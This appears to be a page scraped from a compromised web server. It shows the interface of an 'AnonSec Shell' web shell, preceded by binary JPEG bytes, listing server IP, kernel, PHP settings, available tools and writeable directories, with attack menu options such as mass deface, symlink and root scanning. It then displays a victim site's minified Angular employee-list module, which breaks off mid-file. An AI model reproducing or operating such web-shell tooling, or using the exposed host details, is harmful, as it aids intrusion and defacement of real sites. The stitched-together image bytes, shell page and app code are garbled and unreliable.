JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/modis.angelopescatore.it/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/modis.angelopescatore.it/public/13-es5.4dbfe5cfbb270f8fc3b3.js
!function(){function e(e){return function(e){if(Array.isArray(e))return l(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||c(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function t(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&i(e,t)}function i(e,t){return(i=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function n(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}();return function(){var i,n=a(e);if(t){var r=a(this).constructor;i=Reflect.construct(n,arguments,r)}else i=n.apply(this,arguments);return o(this,i)}}function o(e,t){if(t&&("object"==typeof t||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}function a(e){return(a=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function r(e,t){var i="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!i){if(Array.isArray(e)||(i=c(e))||t&&e&&"number"==typeof e.length){i&&(e=i);var n=0,o=function(){};return{s:o,n:function(){return n>=e.length?{done:!0}:{done:!1,value:e[n++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,r=!0,l=!1;return{s:function(){i=i.call(e)},n:function(){var e=i.next();return r=e.done,e},e:function(e){l=!0,a=e},f:function(){try{r||null==i.return||i.return()}finally{if(l)throw a}}}}function c(e,t){if(e){if("string"==typeof e)return l(e,t);var i=Object.prototype.toString.call(e).slice(8,-1);return"Object"===i&&e.constructor&&(i=e.constructor.name),"Map"===i||"Set"===i?Array.from(e):"Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i)?l(e,t):void 0}}function l(e,t){(null==t||t>e.length)&&(t=e.length);for(var i=0,n=new Array(t);i<t;i++)n[i]=e[i];return n}function s(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function b(e,t){for(var i=0;i<t.length;i++){var n=t[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function d(e,t,i){return t&&b(e.prototype,t),i&&b(e,i),e}(window.webpackJsonp=window.webpackJsonp||[]).push([[13],{ZAeM:function(i,o,a){"use strict";a.r(o),a.d(o,"EmployeesModule",function(){return Ft});var c,l=a("tyNb"),b=a("d2mR"),m=a("5eqV"),u=a("ijA0"),p=a("XNiG"),g=a("3Pt+"),f=a("6N5d"),v=a("3Nfp"),h=a("zEtD"),C=a("euDi"),V=a("PSD3"),U=a.n(V),_=a("AytR"),y=a("fXoL"),I=a("ofXK"),x=a("W/eW"),z=a("ZOsW"),O=a("Mfq2"),k=a("sYmb"),w=a("wd/R"),F=((c=function(){function e(){s(this,e)}return d(e,[{key:"transform",value:function(e,t,i){return e&&t&&t?e.filter(function(e){for(var n,o,a,r,c,l=!0,s=function(s){var b=i[s];if("text"==b.type){var d=null===(n=t.get(b.key))||void 0===n?void 0:n.value;d&&-1==e[b.key].toLowerCase().indexOf(d.toLowerCase())&&(l=!1)}else if("date"==b.type){var m=null===(o=t.get(b.key+"_start"))||void 0===o?void 0:o.value;m&&e[b.key]&&w(e[b.key])<w(m,"DD/MM/YYYY")&&(l=!1);var u=null===(a=t.get(b.key+"_end"))||void 0===a?void 0:a.value;u&&e[b.key]&&w(e[b.key])>w(u,"DD/MM/YYYY")&&(l=!1)}else if("select"==b.type)!function(){var i=null===(r=t.get(b.key))||void 0===r?void 0:r.value;if(i&&i.length>0){for(var n=!1,o=function(t){if(i[t]&&e[b.key]){var o=e[b.key];if(typeof o==typeof String())o.toLowerCase()==i[t].toLowerCase()&&(n=!0);else if(typeof o==typeof Object()&&Array.isArray(o)&&o.length)if(typeof o[0]==typeof String());else if(typeof o[0]==typeof Object()&&typeof o[0][b.childKey]==typeof String()){var a=o.filter(function(e){return e[b.childKey].toLowerCase()==i[t].toLowerCase()});a&&a.length&&a.length>0&&(n=!0)}}},a=0;a<i.length;a++)o(a);n||(l=!1)}}();else if("multiSelect"==b.type){var p=null===(c=t.get(b.key))||void 0===c?void 0:c.value;if(p&&p.length>0){var g=!1;p.every(function(t){return e[b.key].includes(t)})&&(g=!0),g||(l=!1)}}},b=0;b<i.length;b++)s(b);return l}):e}}]),e}()).\u0275fac=function(e){return new(e||c)},c.\u0275pipe=y.Ob({name:"employeesfilter",type:c,pure:!1}),c),E=["Selecter"];function S(e,t){if(1&e&&(y.Vb(0,"div"),y.Vb(1,"div",39),y.cc("click",function(){var e=t.$implicit;return e.active=!e.active}),y.Qb(2,"i"),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Ic(5," \xa0 "),y.Ub()),2&e){var i=t.$implicit;y.Cb(1),y.nc("ngClass",i.active?"badge-warning":"badge-light"),y.Cb(1),y.Fb("zmdi zmdi-",i.active?"minus-circle-outline":"plus-circle-o",""),y.Cb(1),y.Kc(" ",y.ic(4,5,i.name)," ")}}function Q(e,t){if(1&e){var i=y.Wb();y.Tb(0),y.Vb(1,"div",42),y.Vb(2,"div",43),y.Vb(3,"h3",44),y.Ic(4),y.hc(5,"translate"),y.hc(6,"translate"),y.Ub(),y.Vb(7,"app-datetime-manager",45),y.cc("modelChange",function(e){y.Ac(i);var t=y.gc().$implicit;return y.gc(2).advSearchForm.controls[t.key+"_start"].value=e}),y.hc(8,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(9,"div",42),y.Vb(10,"div",43),y.Vb(11,"h3",44),y.Ic(12),y.hc(13,"translate"),y.hc(14,"translate"),y.Ub(),y.Vb(15,"app-datetime-manager",45),y.cc("modelChange",function(e){y.Ac(i);var t=y.gc().$implicit;return y.gc(2).advSearchForm.controls[t.key+"_end"].value=e}),y.hc(16,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Sb()}if(2&e){var n=y.gc().$implicit,o=y.gc(2);y.Cb(4),y.Lc("",y.ic(5,8,n.name)," ",y.ic(6,10,"Inizio"),""),y.Cb(3),y.nc("model",o.advSearchForm.controls[n.key+"_start"].value)("placeholder",y.ic(8,12,"Inserire il valore")),y.Cb(5),y.Lc("",y.ic(13,14,n.name)," ",y.ic(14,16,"Fine"),""),y.Cb(3),y.nc("model",o.advSearchForm.controls[n.key+"_end"].value)("placeholder",y.ic(16,18,"Inserire il valore"))}}function A(e,t){if(1&e&&(y.Vb(0,"div",43),y.Qb(1,"input",47),y.Qb(2,"i",48),y.Ub()),2&e){var i=y.gc(2).$implicit;y.Cb(1),y.oc("formControlName",i.key)}}function L(e,t){if(1&e&&(y.Vb(0,"div",43),y.Qb(1,"ng-select",49),y.hc(2,"translate"),y.Ub()),2&e){var i=y.gc(2).$implicit;y.Cb(1),y.oc("bindLabel",i.valopt),y.oc("bindValue",i.valopt),y.oc("formControlName",i.key),y.nc("items",i.options)("multiple",i.multiple?"true":"false")("placeholder",y.ic(2,6,"Seleziona un'opzione"))}}function T(e,t){if(1&e&&(y.Vb(0,"div",43),y.Qb(1,"ng-select",49),y.hc(2,"translate"),y.Ub()),2&e){var i=y.gc(2).$implicit;y.Cb(1),y.oc("bindLabel",i.valopt),y.oc("bindValue",i.valopt),y.oc("formControlName",i.key),y.nc("items",i.options)("multiple",i.multiple?"true":"false")("placeholder",y.ic(2,6,"Seleziona un'opzione"))}}function P(e,t){if(1&e&&(y.Vb(0,"div"),y.Vb(1,"h3",44),y.Ic(2),y.hc(3,"translate"),y.Ub(),y.Gc(4,A,3,1,"div",46),y.Gc(5,L,3,8,"div",46),y.Gc(6,T,3,8,"div",46),y.Ub()),2&e){var i=y.gc().$implicit;y.Fb("col-md-",i.children&&i.children.length>0?"12":"6",""),y.Cb(2),y.Jc(y.ic(3,7,i.name)),y.Cb(2),y.nc("ngIf","text"==i.type),y.Cb(1),y.nc("ngIf","select"==i.type),y.Cb(1),y.nc("ngIf","multiSelect"==i.type)}}function M(e,t){if(1&e&&(y.Vb(0,"div",43),y.Qb(1,"input",47),y.Qb(2,"i",48),y.Ub()),2&e){var i=y.gc(2).$implicit;y.Cb(1),y.oc("formControlName",i.key)}}function N(e,t){if(1&e&&(y.Vb(0,"div",43),y.Qb(1,"ng-select",52),y.hc(2,"translate"),y.Ub()),2&e){var i=y.gc(2).$implicit;y.Cb(1),y.oc("formControlName",i.key),y.nc("items",i.options)("placeholder",y.ic(2,3,"Seleziona un'opzione"))}}function K(e,t){if(1&e&&(y.Vb(0,"div",42),y.Vb(1,"h3",44),y.Ic(2),y.hc(3,"translate"),y.Vb(4,"span",51),y.Ic(5),y.hc(6,"translate"),y.Ub(),y.Ub(),y.Gc(7,M,3,1,"div",46),y.Gc(8,N,3,5,"div",46),y.Ub()),2&e){var i=y.gc().$implicit,n=y.gc().$implicit;y.Cb(2),y.Kc("",y.ic(3,4,i.name)," "),y.Cb(3),y.Kc("- (",y.ic(6,6,n.name),")"),y.Cb(2),y.nc("ngIf","text"==i.type),y.Cb(1),y.nc("ngIf","select"==i.type)}}function q(e,t){if(1&e&&(y.Tb(0),y.Gc(1,K,9,8,"div",50),y.Sb()),2&e){var i=y.gc().$implicit;y.Cb(1),y.nc("ngIf",i.active)}}function j(e,t){if(1&e&&(y.Tb(0),y.Gc(1,Q,17,20,"ng-container",40),y.Gc(2,P,7,9,"div",41),y.Gc(3,q,2,1,"ng-container",26),y.Sb()),2&e){var i=t.$implicit;y.Cb(1),y.nc("ngIf",i.active&&"date"==i.type),y.Cb(1),y.nc("ngIf",i.active&&"date"!=i.type),y.Cb(1),y.nc("ngForOf",i.children)}}function J(e,t){if(1&e){var i=y.Wb();y.Vb(0,"div",12),y.Vb(1,"div",13),y.Vb(2,"div",14),y.Vb(3,"div",27),y.Vb(4,"h4",16),y.Ic(5),y.hc(6,"translate"),y.Ub(),y.Vb(7,"h6",28),y.Ic(8),y.hc(9,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(10,"div",29),y.Vb(11,"div",30),y.Vb(12,"div",21),y.Vb(13,"div",31),y.Gc(14,S,6,7,"div",26),y.Ub(),y.Qb(15,"br"),y.Vb(16,"form",32),y.Vb(17,"div",33),y.Vb(18,"div",14),y.Gc(19,j,4,3,"ng-container",26),y.Ub(),y.Qb(20,"br"),y.Ub(),y.Vb(21,"div",34),y.Vb(22,"button",35),y.cc("click",function(){return y.Ac(i),y.gc().advSearchForm.reset()}),y.Qb(23,"i",36),y.Ic(24),y.hc(25,"translate"),y.Ub(),y.Ic(26," \xa0 "),y.Vb(27,"button",37),y.cc("click",function(){return y.Ac(i),y.gc().showAdvBox()}),y.Qb(28,"i",38),y.Ic(29),y.hc(30,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub()}if(2&e){var n=y.gc();y.Cb(5),y.Jc(y.ic(6,7,"Ricerca Avanzata")),y.Cb(3),y.Kc("",y.ic(9,9,"Seleziona i criteri di ricerca per cercare i dipendenti, puoi selezionare un gruppo di criteri selezionando il titolo del gruppo (es. Anagrafica)")," "),y.Cb(6),y.nc("ngForOf",n.field_ricerca_avanzata),y.Cb(2),y.nc("formGroup",n.advSearchForm),y.Cb(3),y.nc("ngForOf",n.field_ricerca_avanzata),y.Cb(5),y.Kc(" ",y.ic(25,11,"Azzera")," "),y.Cb(5),y.Kc(" ",y.ic(30,13,"Chiudi")," ")}}function G(e,t){1&e&&(y.Vb(0,"div",53),y.Ic(1),y.hc(2,"translate"),y.Ub()),2&e&&(y.Cb(1),y.Jc(y.ic(2,1,"Non sono presenti risultati!")))}function D(e,t){if(1&e&&(y.Vb(0,"tr"),y.Vb(1,"td",54),y.Vb(2,"table"),y.Vb(3,"tr"),y.Vb(4,"td",55),y.Qb(5,"img",56),y.Ub(),y.Vb(6,"td",55),y.Vb(7,"b"),y.Ic(8),y.Ub(),y.Qb(9,"br"),y.Vb(10,"p"),y.Ic(11),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Vb(12,"td",54),y.Vb(13,"table"),y.Vb(14,"tr"),y.Vb(15,"td",55),y.Ic(16),y.hc(17,"translate"),y.Ub(),y.Vb(18,"td",55),y.Vb(19,"a",57),y.Ic(20),y.Ub(),y.Ub(),y.Ub(),y.Vb(21,"tr"),y.Vb(22,"td",55),y.Ic(23),y.hc(24,"translate"),y.Ub(),y.Vb(25,"td",55),y.Vb(26,"a",57),y.Ic(27),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Vb(28,"td",58),y.Ic(29),y.Ub(),y.Vb(30,"td",58),y.Ic(31),y.Ub(),y.Vb(32,"td",58),y.Ic(33),y.Ub(),y.Vb(34,"td",59),y.Vb(35,"table",60),y.Vb(36,"tr"),y.Vb(37,"td",61),y.Vb(38,"button",62),y.hc(39,"translate"),y.Qb(40,"i",63),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub()),2&e){var i=t.$implicit,n=y.gc();y.Cb(5),y.nc("src",i.photo_profile?n.imgUrl+i.photo_profile:n.contactDefaultImg,y.Cc),y.Cb(3),y.Lc("",i.name," ",i.surname,""),y.Cb(3),y.Jc(i.id_residence_city),y.Cb(5),y.Jc(y.ic(17,15,"Cell.")),y.Cb(3),y.pc("href","tel:",i.cellular,"",y.Cc),y.Cb(1),y.Jc(i.cellular),y.Cb(3),y.Kc("",y.ic(24,17,"Email")," "),y.Cb(3),y.pc("href","mailto:",i.email,"",y.Cc),y.Cb(1),y.Jc(i.email),y.Cb(2),y.Kc(" ",i.jobtitle," "),y.Cb(2),y.Kc(" ",i.department," "),y.Cb(2),y.Kc(" ",i.contract_type," "),y.Cb(5),y.pc("routerLink","edit-employee/",i.id_user,""),y.nc("tooltip",y.ic(39,19,"Visualizza Dipendente"))}}var R,W=((R=function(){function e(t,i,n,o,a,r){s(this,e),this.fb=t,this.employeeService=i,this.utilsService=n,this.excelService=o,this.translate=a,this.growlService=r,this.employeesItems=[],this.employeesStatus=[],this.employeeByStatus=[],this.employeesSearch=!0,this.dtTrigger=new p.a,this.labelBtnAdvSearch="Ricerca Avanzata",this.langListOpt=new Array,this.allSkills=new Array,this.allMacroareas=new Array,this.buffer=new Array,this.mobilitazioneOpt=[],this.skillsOpt=[],this.contactDefaultImg="/assets/demo/img/contacts/user_empty.png",this.imgUrl=_.a.imageUrl,this.subs=[],this.caricaDati(),this.employeesSearch=!1,this.labelBtnAdvSearch="Ricerca Avanzata",this.field_ricerca_avanzata=[{type:"text",name:"Nome",active:!0,key:"name",required:!1,minlenght:!1,maxlenght:!1},{type:"text",name:"Cognome",active:!0,key:"surname"},{type:"text",name:"Email",active:!0,key:"email"},{type:"text",name:"Jobtitle",active:!0,key:"jobtitle"},{type:"select",options:this.skillsOpt,name:"Skill (Ricerca in OR)",active:!1,key:"skills",childKey:"skill"},{type:"multiSelect",options:this.mobilitazioneOpt,name:"Disponibilit\xe0 geografica",key:"mobilitazione",valopt:"mobilitazione"},{type:"date",key:"created_at",name:"Data Creazione",active:!0},{type:"date",key:"updated_at",name:"Data Ultimo Aggiornamento"}];var c=this.generateFormValidator();this.advSearchForm=t.group(c)}return d(e,[{key:"changeLanguage",value:function(e){v.a.setLang(e)}},{key:"caricaDati",value:function(){var e=this;this.getEmployees(),this.utilsService.getAllMobilitazioneOptions().subscribe(function(t){(t.status?t.message:[]).forEach(function(t){e.mobilitazioneOpt.push(t.name)})}),this.utilsService.getAllLanguagesLevelOptions().subscribe(function(t){e.langLevelOpt=t.status?t.message:[]}),this.utilsService.getLanguagesList().subscribe(function(t){e.languagesListOpt=t.message,e.languagesListOpt.forEach(function(t){e.langListOpt.push(t.name)})}),this.utilsService.getSkills().subscribe(function(t){(t.status?t.message:[]).forEach(function(t){e.skillsOpt.push(t.name)})})}},{key:"generateFormValidator",value:function(){for(var e={},t=0;t<this.field_ricerca_avanzata.length;t++)if("date"==this.field_ricerca_avanzata[t].type){e[this.field_ricerca_avanzata[t].key+"_start"]=["",[]];var i=e[this.field_ricerca_avanzata[t].key+"_start"][1];"required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key+"_start"][i.lenght]=g.v.required),e[this.field_ricerca_avanzata[t].key+"_end"]=["",[]],i=e[this.field_ricerca_avanzata[t].key+"_end"][1],"required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key+"_end"][i.lenght]=g.v.required)}else{e[this.field_ricerca_avanzata[t].key]=[null,[]];var n=e[this.field_ricerca_avanzata[t].key][1];if("required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key][n.lenght]=g.v.required),"minlenght"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].minlenght&&(e[this.field_ricerca_avanzata[t].key][n.lenght]=g.v.minLength(this.field_ricerca_avanzata[t].minlenght)),"maxlenght"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].maxlenght&&(e[this.field_ricerca_avanzata[t].key][n.lenght]=g.v.maxLength(this.field_ricerca_avanzata[t].maxlenght)),"children"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].children.length>0)for(var o=0;o<this.field_ricerca_avanzata[t].children.length;o++){e[this.field_ricerca_avanzata[t].children[o].key]=["",[]];var a=e[this.field_ricerca_avanzata[t].children[o].key][1];"required"in this.field_ricerca_avanzata[t].children[o]&&this.field_ricerca_avanzata[t].children[o].required&&(e[this.field_ricerca_avanzata[t].children[o].key][a.lenght]=g.v.required),"minlenght"in this.field_ricerca_avanzata[t].children[o]&&this.field_ricerca_avanzata[t].children[o].minlenght&&(e[this.field_ricerca_avanzata[t].children[o].key][a.lenght]=g.v.minLength(this.field_ricerca_avanzata[t].children[o].minlenght)),"maxlenght"in this.field_ricerca_avanzata[t].children[o]&&this.field_ricerca_avanzata[t].children[o].maxlenght&&(e[this.field_ricerca_avanzata[t].children[o].key][a.lenght]=g.v.maxLength(this.field_ricerca_avanzata[t].children[o].maxlenght))}}return e}},{key:"ngOnInit",value:function(){}},{key:"ngOnDestroy",value:function(){var e,t=r(this.subs);try{for(t.s();!(e=t.n()).done;){var i=e.value;i&&i.unsubscribe()}}catch(n){t.e(n)}finally{t.f()}}},{key:"getEmployees",value:function(){var e=this;this.employeeService.getUsers().subscribe(function(t){t.status&&(e.employeesItems=t.message)})}},{key:"showAdvBox",value:function(){this.showAdvBoxFlag=!this.showAdvBoxFlag,this.labelBtnAdvSearch=this.showAdvBoxFlag?"Nascondi Ricerca":"Ricerca Avanzata"}},{key:"exportExcel",value:function(){this.excelService.exportAsExcelFile([],"employees")}},{key:"remove",value:function(e){var t=this;U.a.fire({title:"Cancella Dipendente",text:"Attenzione: Sei sicuro di voler cancellare il dipendente?",showDenyButton:!0,icon:"warning",confirmButtonText:"Cancella Dipendente",denyButtonText:"Annulla Operazione"}).then(function(i){i.isConfirmed&&(t.employeeService.removeUser(e).subscribe(function(e){console.log("data",e)}),t.employeeService.getUsers().subscribe(function(e){!e.status||(t.employeesItems=e.message)}))})}}]),e}()).\u0275fac=function(e){return new(e||R)(y.Pb(g.e),y.Pb(u.a),y.Pb(f.a),y.Pb(h.a),y.Pb(v.a),y.Pb(C.a))},R.\u0275cmp=y.Jb({type:R,selectors:[["app-employees-list"]],viewQuery:function(e,t){var i;1&e&&y.Mc(E,1),2&e&&y.wc(i=y.dc())&&(t.ngselect=i.first)},decls:60,vars:37,consts:[[1,"content__title","row"],[1,"col-3"],[2,"color","black"],[1,"col-9","text-right"],[1,"actions"],[1,"btn","btn-orange","mod","btn--icon-text","text-center",3,"click"],[1,"zmdi","zmdi-search"],[1,"d-none","d-md-inline"],[1,"btn","btn-dark","mod","btn--icon-text","text-center",3,"click"],[1,"zmdi","zmdi-download"],[1,"d-none","d-sm-inline"],["class","card",4,"ngIf"],[1,"card"],[1,"card-body"],[1,"row"],[1,"col-6","pt-2"],[1,"card-title"],[1,"col-6","text-right"],[1,"col-12","w-100"],["class","no-result",4,"ngIf"],[1,"w-100"],[1,"clearfix"],[1,"col-md-12","px-0","table-responsive"],[1,"table","table-bordered","w-100","text-center"],[1,"th-modis"],[1,"th-modis","d-none","d-md-table-cell"],[4,"ngFor","ngForOf"],[1,"col-12","pt-2"],[1,"card-subtitle"],[1,"row","mx-0","w-100"],[1,"w-100","pt-3"],[1,"row","pl-3","pr-3"],[3,"formGroup"],[1,"mb-2"],[1,"col","right"],[1,"btn","btn-dark","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-minus"],[1,"btn","btn-orange","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-close"],[1,"badge","mb-3","button-search-adv-field",3,"ngClass","click"],[4,"ngIf"],[3,"class",4,"ngIf"],[1,"col-md-6"],[1,"form-group"],[1,"card-body__title"],["mode","week","format","YYYY / [W]W","placement","bottom left",1,"h-33","w-100",3,"model","placeholder","modelChange"],["class","form-group",4,"ngIf"],["type","text","placeholder","","required","",1,"form-control",3,"formControlName"],[1,"form-group__bar"],[1,"border-select",3,"items","multiple","bindLabel","bindValue","placeholder","formControlName"],["class","col-md-6",4,"ngIf"],[1,"color_9c"],["bindLabel","children_field.name","bindValue","children_field.name",1,"border-select",3,"items","placeholder","formControlName"],[1,"no-result"],[1,"align-middle","text-left"],[1,"border-0"],["_ngcontent-dmd-c83","","alt","",1,"listview__img",3,"src"],[3,"href"],[1,"align-middle","text-left","d-none","d-md-table-cell"],[1,"align-middle","text-right"],[1,"m-0","p-0","w-100"],[1,"border-0","text-center"],["type","button",1,"btn","btn-info","active","text-center","btn-cube","mr-2",3,"routerLink","tooltip"],[1,"icon","zmdi","zmdi-edit"]],template:function(e,t){1&e&&(y.Vb(0,"header",0),y.Vb(1,"div",1),y.Vb(2,"h1",2),y.Vb(3,"b"),y.Ic(4),y.hc(5,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(6,"div",3),y.Vb(7,"div",4),y.Ic(8," \xa0 "),y.Vb(9,"button",5),y.cc("click",function(){return t.showAdvBox()}),y.Qb(10,"i",6),y.Vb(11,"span",7),y.Ic(12),y.hc(13,"translate"),y.Ub(),y.Ub(),y.Ic(14," \xa0 "),y.Vb(15,"button",8),y.cc("click",function(){return t.exportExcel()}),y.Qb(16,"i",9),y.Vb(17,"span",10),y.Ic(18),y.hc(19,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Gc(20,J,31,15,"div",11),y.Vb(21,"div",12),y.Vb(22,"div",13),y.Vb(23,"div",14),y.Vb(24,"div",15),y.Vb(25,"h4",16),y.Ic(26),y.hc(27,"translate"),y.Ub(),y.Ub(),y.Qb(28,"div",17),y.Ub(),y.Vb(29,"div",14),y.Vb(30,"div",18),y.Qb(31,"br"),y.Gc(32,G,3,3,"div",19),y.Ub(),y.Ub(),y.Vb(33,"div",20),y.Vb(34,"div",21),y.Vb(35,"div",22),y.Vb(36,"table",23),y.Vb(37,"thead"),y.Vb(38,"tr"),y.Vb(39,"th",24),y.Ic(40),y.hc(41,"translate"),y.Ub(),y.Vb(42,"th",24),y.Ic(43),y.hc(44,"translate"),y.Ub(),y.Vb(45,"th",25),y.Ic(46),y.hc(47,"translate"),y.Ub(),y.Vb(48,"th",25),y.Ic(49),y.hc(50,"translate"),y.Ub(),y.Vb(51,"th",25),y.Ic(52),y.hc(53,"translate"),y.Ub(),y.Vb(54,"th",24),y.Ic(55),y.hc(56,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(57,"tbody"),y.Gc(58,D,41,21,"tr",26),y.hc(59,"employeesfilter"),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(4),y.Jc(y.ic(5,13,"Dipendenti")),y.Cb(8),y.Kc(" ",y.ic(13,15,t.labelBtnAdvSearch),""),y.Cb(6),y.Jc(y.ic(19,17,"Esporta")),y.Cb(2),y.nc("ngIf",t.showAdvBoxFlag),y.Cb(6),y.Kc(" ",y.ic(27,19,"Lista Dipendenti"),""),y.Cb(6),y.nc("ngIf",0==t.employeesItems.length),y.Cb(8),y.Jc(y.ic(41,21,"Nome")),y.Cb(3),y.Jc(y.ic(44,23,"Contatti")),y.Cb(3),y.Jc(y.ic(47,25,"Job Title")),y.Cb(3),y.Jc(y.ic(50,27,"Dipartimento")),y.Cb(3),y.Jc(y.ic(53,29,"Contratto")),y.Cb(3),y.Jc(y.ic(56,31,"Azioni")),y.Cb(3),y.nc("ngForOf",y.kc(59,33,t.employeesItems,t.advSearchForm,t.field_ricerca_avanzata)))},directives:[I.n,I.m,g.w,g.o,g.i,I.l,x.a,g.c,g.u,g.n,g.g,z.a,l.g,O.a],pipes:[k.c,F],styles:[".right[_ngcontent-%COMP%]{text-align:right}.div-right[_ngcontent-%COMP%]{float:right}.radius[_ngcontent-%COMP%]{border-radius:50%}table[_ngcontent-%COMP%]   tr[_ngcontent-%COMP%]:hover{background-color:#59748163;cursor:pointer}.icon[_ngcontent-%COMP%]{margin-right:0;margin-top:-4px}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}.mod-col[_ngcontent-%COMP%]{background-color:#343a40}.table[_ngcontent-%COMP%]{color:#000;width:500px}td[_ngcontent-%COMP%]{background-color:#fff}.paginate_button[_ngcontent-%COMP%]   .current[_ngcontent-%COMP%]{background-color:#343a40!important;color:#fff}.schoolArea[_ngcontent-%COMP%]{display:block;border:1px solid #b7b7b7;padding:3px 10px 5px 5px;background-color:#9d9e9e85}.table[_ngcontent-%COMP%]   .zui-sticky-col[_ngcontent-%COMP%]{border-left:1px solid #ddefef;right:0;position:absolute;top:auto;width:auto}.table[_ngcontent-%COMP%]   .zui-sticky-col2[_ngcontent-%COMP%]{border-right:1px solid #ddefef;left:140px;position:absolute;top:auto;width:70px}.button-search-adv-field[_ngcontent-%COMP%]{cursor:pointer}.table[_ngcontent-%COMP%]   td[_ngcontent-%COMP%]{padding:.3rem!important;font-size:1rem;color:#333;vertical-align:middle!important}.table[_ngcontent-%COMP%]   td[_ngcontent-%COMP%]   